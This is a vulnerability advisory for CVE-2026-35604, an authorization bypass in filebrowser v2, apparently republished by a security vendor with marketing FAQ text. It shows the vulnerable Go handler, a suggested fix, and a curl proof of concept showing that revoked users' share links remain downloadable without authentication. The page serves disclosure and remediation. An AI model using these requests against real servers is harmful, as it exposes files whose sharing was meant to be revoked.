CVE-2026-35604

When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).

Details

Share creation (http/share.go:21-29) correctly checks permissions:

func withPermShare(fn handleFunc) handleFunc {
    return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        if !d.user.Perm.Share || !d.user.Perm.Download {
            return http.StatusForbidden, nil
        }
        return fn(w, r, d)
    })
}

But share access (http/public.go:18-87, withHashFile) does not:

var withHashFile = func(fn handleFunc) handleFunc {
    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        link, err := d.store.Share.GetByHash(id)   // line 21: checks share exists
        authenticateShareRequest(r, link)            // line 26: checks password
        user, err := d.store.Users.Get(...)          // line 31: checks user exists
        d.user = user                                // line 36: sets user
        file, err := files.NewFileInfo(...)           // line 38: gets file
        // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download
    }
}

Proof of Concept (runtime-verified)

TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"<admin-password>"}')

# Step 2: Create testuser with Share+Download permissions
curl -X POST http://localhost:18080/api/users \
  -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
  -d '{"what":"user","which":[],"current_password":"<admin-password>",
       "data":{"username":"testuser","password":"TestPass123!","scope":".",
       "perm":{"share":true,"download":true,"create":true}}}'

# Step 3: Login as testuser and create share
USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"TestPass123!"}')
curl -X POST http://localhost:18080/api/share/secret.txt \
  -H "X-Auth: $USER_TOKEN" -H "Content-Type: application/json" -d '{}'
# Returns: {"hash":"fB4Qwtsn","path":"/secret.txt","userID":2,"expire":0}

# Step 4: Verify share works (unauthenticated)
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK)

# Step 5: Admin revokes testuser's Share and Download permissions
curl -X PUT http://localhost:18080/api/users/2 \
  -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
  -d '{"what":"user","which":["all"],"current_password":"<admin-password>",
       "data":{"id":2,"username":"testuser","scope":".",
       "perm":{"share":false,"download":false,"create":true}}}'

# Step 6: Verify testuser CANNOT create new shares
curl -X POST http://localhost:18080/api/share/secret.txt \
  -H "X-Auth: $USER_TOKEN" -d '{}'
# Returns: 403 Forbidden (correct)

# Step 7: THE BUG - old share STILL works
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK) - SHOULD be 403

When an admin revokes a user's Share or Download permissions:

• New share creation is correctly blocked (403)
• But all existing shares created by that user remain fully accessible to unauthenticated users
• The admin has a false sense of security: they believe revoking Share permission stops all sharing

This is the same vulnerability class as GHSA-68j5-4m99-w9w9 ("Authorization Policy Bypass in Public Share Download Flow").

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

Kodem intelligence

Add permission re-validation in withHashFile:

user, err := d.store.Users.Get(d.server.Root, link.UserID)
if err != nil {
    return errToStatus(err), err
}

// Verify the share owner still has Share and Download permissions
if !user.Perm.Share || !user.Perm.Download {
    return http.StatusForbidden, nil
}

d.user = user

Update: Fix submitted as PR #5888.

1. What is CVE-2026-35604? CVE-2026-35604 is a high-severity incorrect authorization vulnerability in github.com/filebrowser/filebrowser/v2 (go), affecting versions < 2.63.1. It is fixed in 2.63.1. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. Which versions of github.com/filebrowser/filebrowser/v2 are affected by CVE-2026-35604? github.com/filebrowser/filebrowser/v2 (go) versions < 2.63.1 is affected.
3. Is there a fix for CVE-2026-35604? Yes. CVE-2026-35604 is fixed in 2.63.1. Upgrade to this version or later.
4. Is CVE-2026-35604 exploitable, and should I be worried? Whether CVE-2026-35604 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-35604 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-35604? Upgrade github.com/filebrowser/filebrowser/v2 to 2.63.1 or later.